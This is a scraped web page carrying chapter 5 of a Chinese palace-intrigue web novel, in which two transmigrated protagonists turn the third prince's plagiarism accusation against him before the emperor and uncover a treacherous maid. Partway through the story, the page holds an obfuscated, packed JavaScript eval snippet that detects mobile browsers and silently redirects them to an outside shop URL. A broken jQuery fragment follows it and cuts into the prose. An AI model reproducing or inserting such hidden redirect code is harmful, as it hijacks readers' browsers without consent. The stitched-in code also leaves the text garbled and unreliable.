文趣网 > 其他小说 > 岁岁与君归 > 5. 第5章
    凌启派来的人一直守在凌轩居住的宫殿门口。

    嘴上说是怕他们逃跑,实际上是为了防止他们有任何可能的后手,以期万无一失。

    文岁的身体还很虚弱,但凌启的人已经闹哄哄要进屋来拿人,丝毫不给身为皇子的凌轩面子。

    凌轩冷然拦在文岁床前:

    “阿岁刚醒,总要给她缓和的时间,这要求不算过分。”

    “传三殿下的话,那小婢女一醒就要立刻带走,五殿下可以去找三殿下评说。”对方嗤笑一声。

    凌轩还欲说话,却被文岁扯住了衣袖。

    “没关系,殿下,我跟他们走。”说完,文岁掀起被子艰难起身,凌轩赶忙扶她,就听她在耳边低声说,“凌轩,我真是等不及了。”

    凌轩哑然,不再坚持。

    他挥退凌启的人,自己扶着文岁起身,出门。

    往御书房走的路途实在不短,凌轩感受着手中文岁瘦弱的手臂,心中复杂难言。

    从一来他就知道,文岁绝不是胆小怕事、鲁莽无脑之人。且他们来自同一个世界,这种特殊的纽带将他们牢牢绑住,凌轩对文岁也是全然信赖,相信着她的能力。

    这一次,所有事情也都在按照预想发展,除了文岁的重伤。

    在守着文岁的两天里,凌轩想了很多,他明白文岁一定料到了这一幕,只是不与他说,在他面前只说有利的部分,就是为了宽他的心。

    天知道,看着文岁在自己怀中阖上眼,气息越来越弱的时候,他有多恐惧。

    如果没有了文岁,他还能是裴凌轩吗?他会不会,渐渐忘了自己的来处,忘了自己究竟是谁。

    凌轩不甘,他这次没有保护好文岁。

    我什么也没能做到,只能站在一旁看着她为我去拼。凌轩看着文岁面庞显而易见的憔悴,心下颤抖。

    君安是,这次的事情也是。

    凌轩不甘于自己只能站在文岁身后,对,是身后,甚至都不是身侧。

    抬头看向面前御书房的门匾,凌轩暗自咬牙,心中有了成算。

    御书房内,皇帝正襟危坐,凌启已经提早到了,就站在一旁,眼眶发红,一副万分委屈的模样。

    文岁心下冷笑,面上丝毫不显。

    她对皇帝、凌启分别行礼,态度恭敬,却不卑不亢。

    “起来吧。”皇帝说,“你就是那个盗走启儿话本的婢女?”

    “回陛下,奴婢拿着的自始至终都是五殿下的笔墨,那话本,的的确确是五殿下所作。”

    “你还在嘴硬!”凌启拍案而起,面容愤恨,在皇帝瞥他一眼之后,才略略稳住姿态,只胸口依然起伏不停,显然是气得狠了。

    “父皇。”凌轩上前行礼,然后开口说道,“那话本的确是儿臣所作,绝无虚假。如三哥愿意拿出文稿,对比笔迹一望便知。”

    君安的话本都是文岁写好后凌轩誊抄一份,这份被凌启抢走的也是一样,如果拿出来,和凌启自己笔迹对比,再和凌轩的对比,是谁所作一目了然。

    帝王挥手,就有太监呈上文稿,凌轩与凌启也各自取出自己过往的笔墨,一并呈上去,供以对比。

    凌轩暂且不论,凌启作为最受重视的皇子,皇帝平时十分关注他的课业,因此对他的笔迹再熟悉不过,呈上去的笔墨也做不得假。

    文岁看着皇帝的动作。只见他两边翻看纸张,眉头越皱越紧,随后把文稿往凌轩面前一扔,冷哼一声:

    “你自己看看罢。”

    凌轩弯腰拾起文稿,只一看便心头一颤。

    遣词造句和情节桥段,都是他熟悉的,是文岁写的话本没错,但这笔迹……却全然不是自己之前誊抄的那份,他虽没见过,但看皇帝的反应,应当是凌启的笔迹。

    凌轩面上显出慌乱无措,下意识开口说道:

    “隔了两天时间,有可能是三哥抄写了一份……”

    “就知道你会这么说。”凌启打断凌轩说话,他此时已经全然冷静下来,不再显得愤愤不平,“那天从御书房离开,我就想着防你这一手,马上派人把文稿送到了父皇这里,一直由父皇保管,我碰都没碰。”

    凌轩退后一步,面色煞白,嘴唇哆哆嗦嗦看向皇帝,却见皇帝的目光中满是失望之色,语气已是明显不喜:

    “凌轩,朕本以为你有所长进,近日来你的文采朕也有所耳闻,还很欣慰,没想到……你太让朕失望了!”

    凌轩慌乱之中用眼角余光看了文岁一眼,文岁冲他微不可见地点了点头。

    “父皇。”凌轩再度开口,拱手说道,“儿臣的文稿,写就后都会由婢女文岁抄写一份保存,现在,儿臣就可以让人把那一份取来。”

    很快,文稿被取来,这份和凌启呈上去的内容一模一样,笔迹全然不同,且墨迹、纸张的陈旧程度相当,无法判断哪一份先作,哪一份后作。

    皇帝有些犯难,凌启却丝毫不慌,他叹了口气,似乎很是无奈。

    “五弟,没想到你如此执迷不悟。本想在父皇面前给你留一分面子,现在看来倒是不必了。”他转向帝王一拱手,“父皇,儿臣有证人,可传唤询问。”

    皇帝点头,凌启一招手,便有两名太监押着一个宫女上来。

    那宫女正是小翠,她跪倒在地上,涕泗横流,跪爬着抓住凌轩衣摆,不住磕头求饶:

    “五殿下,奴婢亲眼看着的,文岁姐姐偷来三殿下文稿,然后连夜誊抄。虽然您说如果奴婢说出去,就杀了奴婢,但在陛下御前,奴婢无论如何不敢说谎啊!”

    霎时,御书房除小翠的痛哭和求饶声外,一片寂静。

    凌启嘴角暗暗一翘。

    他不信他的这个皇弟还能翻盘,如今人证、物证皆在,自己被偷盗笔墨的事实无可辩驳。

    这样,不止君安这个笔名的名声臭掉,五皇子凌轩在皇帝眼中怕也是能低到尘埃里,再也起不来了。

    可谁知,刚刚看起来还手足无措的凌轩此刻反倒镇定起来,甚至眼中还染上了一丝微不可察的笑意。

    凌启眼角一跳,心中陡然升起一丝不祥的预感。

    凌轩微错身,文岁上前一步,面对皇帝行了一礼,说:

    “奴婢有话要说,请陛下准许。”

    皇帝虽面色不虞,但仍然准了。

    文岁谢恩后,却面向凌启问了一个与当前局面看似毫无关系的问题:

    “敢问三殿下,我北梁朝如今的年份是何?”

    “庆安二十三年。”凌启沉声说,他的目光在文岁脸上扫视,实在弄不清她究竟想干什么。

    得了回答,文岁点头,随后说道:

    “奴婢斗胆请陛下翻阅三殿下所呈书稿的第二节第十三个字。”

    皇帝顿觉有趣,依言一翻——

    “一、二……十二、十三,第十三字是「轩」。”

    闻言,凌启勉强笑道:

    “这只是个巧合罢了,又能说明什么。”

    “殿下莫急,奴婢再问一句,您可知陛下的生辰日子?”

    “当然!”凌启抬高语调,“天下谁人不知,再过半月便是五月初七父皇生辰,届时普天同庆,万民朝贺!”

    “陛下乃天下之主,生辰自是举国同贺的大事。”文岁深以为然,“奴婢再斗胆请陛下翻阅文稿,第五节,第七字。”

    帝王再一看,第五节第七字,乃是一个“寿”字。

    “这本是儿臣刻意埋下的伏笔,本没想让父皇得知。”凌轩低头,一副自己的小心思被父亲发现的心虚模样,“寓意是,儿臣凌轩,恭祝父皇万寿无疆。”

    凌启面色煞白。

    他决然不信这真是凌轩刻意埋下的巧思。

    这是专门给他设计的陷阱,而他没有发现,就这样自己踩了进去。

    凌启欲开口辩驳,却见皇帝一副高兴的模样,看向凌轩的目光也变得慈爱而温和,就知道这次已无可挽回。

    他垂下眼帘,不再说话。

    “好,很好,轩儿果然有才干。”帝王沉郁面色一扫而空,抚须而笑,“为何在文稿里隐喻,不等朕生辰日那天亲口对朕祝贺呢?”

    “儿臣的身份……怕不能有这份荣幸,得以参加父皇的生辰宴。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893390|212801||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    凌轩低下头,透出一种难言的失落。

    皇帝长叹一声。

    他又何尝不知,凌轩长居冷宫,除那次中秋宴外,几乎没参加过什么宫廷宴会,更别说皇帝的生辰宴,是根本没人会去请他。

    可他的这个儿子却依然抑制不住对父亲的孺慕之情,偷偷把这份祝寿的心思藏在自己的著作里。

    如此作为,哪怕皇帝并无几分对凌轩的舐犊之情,也难以不动容。

    “半月后朕的生辰宴,你当然可以赴宴。”皇帝面对凌轩是从未有过的温和语气,“轩儿,朕期望你届时当面与朕祝寿。”

    凌轩忙谢恩,文岁也跪下,面上俱是喜色。

    这才是他们真正的目的。

    从一开始,文岁就没有指望凭这件事能把凌启拉下来,当初他谋害五皇子都连个惩戒都没有,就算如今坐实剽窃、栽赃,又能如何呢?

    他们只是想借凌启的手,把此事闹到御前,把文稿里的这份“巧思”透给皇帝知晓,在皇帝心中留下并加深五皇子有才华且有孝心的印象。

    当然,顺便恶心一下凌启也是好的,让他们也十分痛快。

    果然,之后皇帝只是不痛不痒地训斥了凌启几句,罚他禁足三日,也就如此了。

    不过小翠就没有这般幸运,她被下令杖毙,但因快到帝王生辰不宜见血,故关入掖庭狱,待生辰月后行刑。

    文岁入掖庭看望小翠,小翠形容狼狈,面色憔悴至极,抬头看她时,眼中无丝毫光亮。

    “姐姐是何时怀疑我的?”她问。

    “那日在井边,你受惊吓歪倒,我上前扶你,看到你衣袖边缘有浅淡血迹,于是我摸了摸你的手,在手心摸到一处浅浅的划痕。”文岁说,“后来相处时我留意观察过,那是指甲划出来的,有好几道。那小太监,不是自杀的吧?”

    “没错,是我推他下去的。我和他都是三殿下的人,他是个蠢货,一开始三殿下就没指望他能成功……那天晚上,我约他去井边,说要告知他三殿下的下一步安排,然后……杀了他,借此事,抹黑五殿下的声名。”

    文岁面无表情,继续说着自己的话:

    “从那之后,我开始留意你的行踪,后来几次你去三殿下那里,都有人跟着。”

    小太监和小翠都是凌启的人,唯一剩下的那名宫女倒真是忠心,宁愿冒着得罪炙手可热的三皇子的风险,也愿意帮文岁去跟踪小翠。

    之后的事情就没什么可说的了。

    利用小翠,把文稿内容提前透给凌启,让他有时间默写一份,然后故意被抢走文稿,借凌启的手把事情闹大……

    小翠瘫在地上,半晌笑了起来,且笑声愈来愈大,竟显得癫狂:

    “姐姐,你非池中物,必有出头那天,只可惜,我看不到了。”

    文岁看着癫狂的小翠,心中浮起一丝唏嘘。

    在冷宫时,她与小翠是真的有过情谊,如今看她这样,心里多少有那么一些不好受。

    但文岁并非滥施善心之人,小翠害她,害凌轩,决计不能被饶恕。

    走出掖庭,文岁抬头看澄澈天空。

    今日无风,万里无云,天清气爽。

    但她却头一次觉得这般黑暗,如同一个沉沉的盖子压下来,压得她喘不过气来。

    此次胜了一局,文岁与凌轩也已经与凌启彻彻底底撕破脸皮,也真正与皇后阵营站到对立面。

    皇后在后宫中权威甚重,日后恐怕会有万般危险。凭他们二人恐难以抗衡。

    这次虽胜,但文岁差点送命,也把凌轩吓得够呛。

    “文岁,此次虽然皇帝对我略有重视,但不可以之为全部依仗,我们需得寻找其他的靠山。”凌轩说。

    文岁笑道:

    “需要我做什么,你直说就是。”

    “这么信我?”

    “你如何信我,我就如何信你。凌轩,在这个世界,我们是唯一懂彼此的人了。”

    “文岁……”

    “感动吧?那么,可否再给我做一次焖子,我又想那个味道了。”

    “……你呀。”